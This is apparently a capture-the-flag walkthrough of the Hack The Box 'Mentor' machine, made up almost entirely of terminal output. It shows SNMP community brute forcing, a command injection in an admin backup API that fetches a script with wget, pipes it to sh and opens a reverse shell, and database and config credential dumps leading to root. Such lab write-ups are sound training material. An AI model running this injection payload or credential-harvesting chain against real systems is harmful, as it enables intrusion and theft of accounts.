1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

# nmap -p$ports -sV -sC 10.10.11.193 -oN nmap_scan
Nmap scan report for 10.10.11.193 (10.10.11.193)
Host is up (0.083s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA)
|_  256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

#  nmap -sU -p- --min-rate 10000 10.10.11.193
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 15:30 CST
Warning: 10.10.11.193 giving up on port because retransmission cap hit (10).
Nmap scan report for mentorquotes.htb (10.10.11.193)
Host is up (0.15s latency).
Not shown: 65455 open|filtered udp ports (no-response), 79 closed udp ports (port-unreach)
PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 73.58 seconds

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >> show options

Module options (auxiliary/scanner/snmp/snmp_login):

   Name              Current Setting                                                Required  Description
   ----              ---------------                                                --------  -----------
   BLANK_PASSWORDS   false                                                          no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                              yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                          no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                          no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                          no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none                                                           no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   PASSWORD                                                                         no        The password to test
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/snmp_default_p  no        File containing communities, one per line
                     ass.txt
   RHOSTS            10.10.11.193                                                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT             161                                                            yes       The target port
   STOP_ON_SUCCESS   false                                                          yes       Stop guessing when a credential works for a host
   THREADS           1                                                              yes       The number of concurrent threads (max one per host)
   USER_AS_PASS      false                                                          no        Try the username as the password for all users
   VERBOSE           true                                                           yes       Whether to print output for all attempts
   VERSION           2c                                                             yes       The SNMP version to scan (Accepted: 1, 2c, all)

[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >>
[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >> run

[!] No active DB -- Credential data will not be saved!
[+] 10.10.11.193:161 - Login Successful: internal (Access level: read-only); Proof (sysDescr.0): Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_login) >>

1
2
3
4
5
6

[.. snip ..]
  2086                  runnable              postgres              postgres: postgres mentorquotes_db 172.22.0.1(41216) idle
  2111                  runnable              login.py              /usr/bin/python3      /usr/local/bin/login.py kj23sadkj123as0-d213
  2163                  unknown               kworker/1:1-cgroup_destroy
  2304                  unknown               kworker/u256:0-flush-253:0
[.. snip ..]

1
2
3
4
5
6
7
8

➜  mentor curl -sI 10.10.11.193
HTTP/1.1 302 Found
Date: Sun, 08 Jan 2023 20:48:00 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://mentorquotes.htb/
Content-Type: text/html; charset=iso-8859-1

➜  mentor

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

➜  mentor feroxbuster -w $MD -u http://mentorquotes.htb/ --depth 2

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://mentorquotes.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 2
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      167l      621w     5506c http://mentorquotes.htb/
403      GET        9l       28w      281c http://mentorquotes.htb/server-status

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

➜  mentor wfuzz -c -w bitquark-subdomains-top100000.txt -u http://mentorquotes.htb -H "Host: FUZZ.mentorquotes.htb" --hl 9 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://mentorquotes.htb/
Total requests: 100000

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000040:   404        0 L      2 W        22 Ch       "api"
000037212:   400        10 L     35 W       308 Ch      "*"

Total time: 976.1970
Processed Requests: 100000
Filtered Requests: 99998
Requests/sec.: 102.4383

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

➜  mentor feroxbuster -u http://api.mentorquotes.htb/ -w raft-medium-directories.txt --depth 2

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://api.mentorquotes.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 2
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
307        0l        0w        0c http://api.mentorquotes.htb/admin
200       31l       62w      969c http://api.mentorquotes.htb/docs
405        1l        3w       31c http://api.mentorquotes.htb/admin/backup
307        0l        0w        0c http://api.mentorquotes.htb/users
307        0l        0w        0c http://api.mentorquotes.htb/quotes
WLD        0l        0w        0c Got 307 for http://api.mentorquotes.htb/quotes/d16376eb78e340c5bdc5f0f314aabcf7 (url length: 32)
WLD         -         -         - http://api.mentorquotes.htb/quotes/d16376eb78e340c5bdc5f0f314aabcf7 redirects to => http://api.mentorquotes.htb/quotes/d16376eb78e340c5bdc5f0f314aabcf7/
405        1l        3w       31c http://api.mentorquotes.htb/users/add
403        9l       28w      285c http://api.mentorquotes.htb/server-status

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

➜  mentor curl -sX GET http://api.mentorquotes.htb/users/ -H "Accept: application/json" -H "Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0" | jq
[
  {
    "id": 1,
    "email": "james@mentorquotes.htb",
    "username": "james"
  },
  {
    "id": 2,
    "email": "svc@mentorquotes.htb",
    "username": "service_acc"
  }
]
➜  mentor 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

➜  mentor cookie="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"
➜  mentor curl -sX GET http://api.mentorquotes.htb/admin/ -H "Accept: application/json" -H "Authorization: $cookie" | jq
{
  "admin_funcs": {
    "check db connection": "/check",
    "backup the application": "/backup"
  }
}
➜  mentor curl -sX GET http://api.mentorquotes.htb/admin/check -H "Accept: application/json" -H "Authorization: $cookie" | jq
{
  "details": "Not implemented yet!"
}
➜  mentor curl -sX GET http://api.mentorquotes.htb/admin/backup -H "Accept: application/json" -H "Authorization: $cookie" | jq
{
  "detail": "Method Not Allowed"
}
➜  mentor 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

➜  mentor curl -sX POST http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $cookie" | jq
{
  "detail": [
    {
      "loc": [
        "body"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    }
  ]
}
➜  mentor curl -sX POST http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $cookie" -d '{"body":"616"}' | jq
{
  "detail": [
    {
      "loc": [
        "body",
        "path"
      ],
      "msg": "field required",
      "type": "value_error.missing"
    }
  ]
}
➜  mentor 

1
2
3
4
5

➜  mentor curl -sX POST http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $cookie" -d '{"body":"616", "path":"/etc/passwd"}' | jq
{
  "INFO": "Done!"
}
➜  mentor 

1
2
3
4

{
   "body":"616",
   "path":"/etc/passwd;$(wget -qO- 10.10.14.207/10.10.14.207:1335|sh)"
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

➜  mentor rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.207] from api.mentorquotes.htb [10.10.11.193] 43032
/bin/sh: can't access tty; job control turned off
/app # which python
/usr/local/bin/python
/app # python -c 'import pty;pty.spawn("/bin/bash");'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/local/lib/python3.6/pty.py", line 156, in spawn
    os.execlp(argv[0], *argv)
  File "/usr/local/lib/python3.6/os.py", line 542, in execlp
    execvp(file, args)
  File "/usr/local/lib/python3.6/os.py", line 559, in execvp
    _execvpe(file, args)
  File "/usr/local/lib/python3.6/os.py", line 583, in _execvpe
    exec_func(file, *argrest)
FileNotFoundError: [Errno 2] No such file or directory
/app # whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app
/app #

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

/app # ls -lah
total 24K
drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 .
drwxr-xr-x    1 root     root        4.0K Mar  3 23:29 ..
-rw-r--r--    1 root     root        1.0K Jun 12  2022 .Dockerfile.swp
-rw-r--r--    1 root     root         522 Nov  3 12:58 Dockerfile
drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 app
-rw-r--r--    1 root     root         672 Jun  4  2022 requirements.txt
/app # cd app
/app/app # ls -lah
total 28K
drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 .
drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 ..
-rw-r--r--    1 root     root           0 Jun  4  2022 __init__.py
drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 __pycache__
drwxr-xr-x    1 root     root        4.0K Nov 10 16:00 api
-rw-r--r--    1 root     root           0 Jun  4  2022 config.py
-rw-r--r--    1 root     root        1001 Jun  7  2022 db.py
-rw-r--r--    1 root     root        1.1K Jun  4  2022 main.py
-rw-r--r--    1 root     root         704 Jun  4  2022 requirements.txt
/app/app #
/app/app # cat db.py
import os

from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)
from sqlalchemy.sql import func
from databases import Database

# Database url if none is passed the default one is used
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")

# SQLAlchemy for quotes
engine = create_engine(DATABASE_URL)
metadata = MetaData()
quotes = Table(
    "quotes",
    metadata,
    Column("id", Integer, primary_key=True),
    Column("title", String(50)),
    Column("description", String(50)),
    Column("created_date", DateTime, default=func.now(), nullable=False)
)

# SQLAlchemy for users
engine = create_engine(DATABASE_URL)
metadata = MetaData()
users = Table(
    "users",
    metadata,
    Column("id", Integer, primary_key=True),
    Column("email", String(50)),
    Column("username", String(50)),
    Column("password", String(128) ,nullable=False)
)


# Databases query builder
database = Database(DATABASE_URL)

/app/app #

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

/app/app/api # cat admin.py
from fastapi import APIRouter, Depends
from app.api.utils import is_admin, is_logged
from app.api.models import backup
import os

router = APIRouter()

WORK_DIR = os.getenv('WORK_DIR', '/app')
DATABASE_URL = os.getenv('DATABASE_URL', 'postgresql://postgres:postgres@192.168.1.4/hello_fastapi_dev')

@router.get('/', dependencies=[Depends(is_logged), Depends(is_admin)],include_in_schema=False)
async def admin_funcs():
    return {"admin_funcs":{"check db connection":"/check","backup the application": "/backup"}}

@router.get('/check',dependencies=[Depends(is_logged), Depends(is_admin)],include_in_schema=False)
async def check_connection():
    return {"details": "Not implemented yet!"}


# Take a backup of the application
@router.post("/backup",dependencies=[Depends(is_logged), Depends(is_admin)],include_in_schema=False)
async def backup(payload: backup):
    os.system(f'tar -c -f {str(payload.path)}/app_backkup.tar {str(WORK_DIR)} &')
    return {"INFO": "Done!"}

/app/app/api #

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

from app.api import crud
from app.api.models import token, userDB, userSchema
from app.api.utils import is_admin, is_logged, is_a_user
from .utils import *
from fastapi import APIRouter, HTTPException, Header, Path, FastAPI, Depends, Request
from typing import List
import os

router = APIRouter()
SECRET =  os.getenv('SECRET')

# List users
@router.get('/',response_model=List[userDB], status_code=201, dependencies=[Depends(is_logged), Depends(is_admin)])
async def get_users(request: Request):

    return await crud.get_users()

# List user by id
@router.get('/{id}/',response_model=userDB, status_code=201, dependencies=[Depends(is_logged), Depends(is_admin)])
async def get_user_by_id(request: Request,id: int = Path(...,gt=0)):
    user = await crud.get_user(id)
    if not user:
        raise HTTPException(status_code=404, detail="user not found")
    return user

# Add a new user
@router.post("/add", response_model=userDB, status_code=201, dependencies=[Depends(is_logged), Depends(is_admin)])
async def create_user(payload: userSchema):
    user = await is_a_user(payload)
    if user is None:
        pass
    else:
        raise HTTPException(status_code=424, detail="User already exists! ")

    user_id = await crud.create_user(payload)

    res = {
        "id" : user_id,
        "email" : payload.email,
        "username" : payload.username
    }

    return res

1
2
3
4
5
6
7
8
9

/app # cd /home
/home # ls
svc
/home # cd svc
/home/svc # ls
user.txt
/home/svc # cat user.txt
d57c5e2b32aa7f2d0bf85dca62da4c53
/home/svc #

1
2
3
4
5
6
7
8

# Queries
python -c 'from sqlalchemy import create_engine; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); result = engine.execute("<QUERY>"); a = [i for i in result]; print(a);'

# Tablas
python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_table_names(); print(t);'

# Columnas
python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_columns("users"); print(t);'

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

/app/app/api # python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_table_names(); print(t);'
2023-03-04 01:11:50,290 INFO sqlalchemy.engine.Engine select pg_catalog.version()
2023-03-04 01:11:50,290 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:11:50,291 INFO sqlalchemy.engine.Engine select current_schema()
2023-03-04 01:11:50,291 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:11:50,292 INFO sqlalchemy.engine.Engine show standard_conforming_strings
2023-03-04 01:11:50,292 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:11:50,294 INFO sqlalchemy.engine.Engine SELECT c.relname FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname = %(schema)s AND c.relkind in ('r', 'p')
2023-03-04 01:11:50,294 INFO sqlalchemy.engine.Engine [generated in 0.00017s] {'schema': 'public'}
['users', 'quotes', 'cmd_exec']
/app/app/api #

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

/app/app/api # python -c 'from sqlalchemy import create_engine; from sqlalchemy import inspect; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); insp = inspect(engine); t = insp.get_columns("users"); print(t);'
2023-03-04 01:14:16,121 INFO sqlalchemy.engine.Engine select pg_catalog.version()
2023-03-04 01:14:16,121 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:14:16,122 INFO sqlalchemy.engine.Engine select current_schema()
2023-03-04 01:14:16,122 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:14:16,123 INFO sqlalchemy.engine.Engine show standard_conforming_strings
2023-03-04 01:14:16,123 INFO sqlalchemy.engine.Engine [raw sql] {}

[.. snip ..]

[{'name': 'id', 'type': INTEGER(), 'nullable': False, 'default': "nextval('users_id_seq'::regclass)", 'autoincrement': True, 'comment': None}, {'name': 'email', 'type': VARCHAR(length=50), 'nullable': True, 'default': None, 'autoincrement': False, 'comment': None}, {'name': 'username', 'type': VARCHAR(length=50), 'nullable': True, 'default': None, 'autoincrement': False, 'comment': None}, {'name': 'password', 'type': VARCHAR(length=128), 'nullable': False, 'default': None, 'autoincrement': False, 'comment': None}]
/app/app/api #

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

/app/app/api # python -c 'from sqlalchemy import create_engine; engine = create_engine("postgresql://postgres:postgres@172.22.0.1/mentorquotes_db", echo=True); result = engine.execute("select * from users;"); print(type(result)); a = [i for i in result]; print(a);'
2023-03-04 01:17:51,666 INFO sqlalchemy.engine.Engine select pg_catalog.version()
2023-03-04 01:17:51,666 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:17:51,667 INFO sqlalchemy.engine.Engine select current_schema()
2023-03-04 01:17:51,667 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:17:51,668 INFO sqlalchemy.engine.Engine show standard_conforming_strings
2023-03-04 01:17:51,668 INFO sqlalchemy.engine.Engine [raw sql] {}
2023-03-04 01:17:51,669 INFO sqlalchemy.engine.Engine select * from users;
2023-03-04 01:17:51,669 INFO sqlalchemy.engine.Engine [raw sql] {}
<class 'sqlalchemy.engine.cursor.LegacyCursorResult'>
[(1, 'james@mentorquotes.htb', 'james', '7ccdcd8c05b59add9c198d492b36a503'), (2, 'svc@mentorquotes.htb', 'service_acc', '53f22d0dfa10dce7e29cd31f4f953fd8')]
/app/app/api #

1
2

7ccdcd8c05b59add9c198d492b36a503
53f22d0dfa10dce7e29cd31f4f953fd8:123meunomeeivani

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

➜  mentor ssh svc@mentorquotes.htb # 123meunomeeivani
svc@mentorquotes.htb's password:
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-56-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Jan  9 02:06:01 AM UTC 2023

  System load:                      0.0234375
  Usage of /:                       64.9% of 8.09GB
  Memory usage:                     15%
  Swap usage:                       0%
  Processes:                        259
  Users logged in:                  0
  IPv4 address for br-028c7a43f929: 172.20.0.1
  IPv4 address for br-24ddaa1f3b47: 172.19.0.1
  IPv4 address for br-3d63c18e314d: 172.21.0.1
  IPv4 address for br-7d5c72654da7: 172.22.0.1
  IPv4 address for br-a8a89c3bf6ff: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.193

  => There are 18 zombie processes.


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Dec 12 10:22:58 2022 from 10.10.14.40
svc@mentor:~$ whoami;id;pwd
svc
uid=1001(svc) gid=1001(svc) groups=1001(svc)
/home/svc
svc@mentor:~$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

svc@mentor:/etc/snmp$ ls
snmp.conf  snmpd.conf  snmpd.conf.d
svc@mentor:/etc/snmp$ cat snmpd.conf | grep -v "#"

sysLocation    Sitting on the Dock of the Bay
sysContact     Me <admin@mentorquotes.htb>

sysServices    72





master  agentx


agentAddress udp:161,udp6:[::1]:161




view   systemonly  included   .1.3.6.1.2.1.1
view   systemonly  included   .1.3.6.1.2.1.25.1



rocommunity  public default -V systemonly
rocommunity6 public default -V systemonly

rouser authPrivUser authpriv -V systemonly

includeDir /etc/snmp/snmpd.conf.d


createUser bootstrap MD5 SuperSecurePassword123__ DES
rouser bootstrap priv

com2sec AllUser default internal
group AllGroup v2c AllUser
view SystemView included .1.3.6.1.2.1.25.1.1
view AllView included .1
access AllGroup "" any noauth exact AllView none none
svc@mentor:/etc/snmp$

1
2
3
4
5
6
7
8

svc@mentor:/etc/snmp$ su james
Password:
james@mentor:/etc/snmp$ cd
james@mentor:~$ ls
james@mentor:~$ whoami;id
james
uid=1000(james) gid=1000(james) groups=1000(james)
james@mentor:~$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

james@mentor:~$ sudo -l -l
[sudo] password for james:
Matching Defaults entries for james on mentor:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on mentor:

Sudoers entry:
    RunAsUsers: ALL
    Commands:
	/bin/sh
james@mentor:~$ sudo sh
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
# cd
# ls
logins.log  root.txt  scripts  snap
# cat root.txt
ed605945a5870ecc993bda7574b545b1
#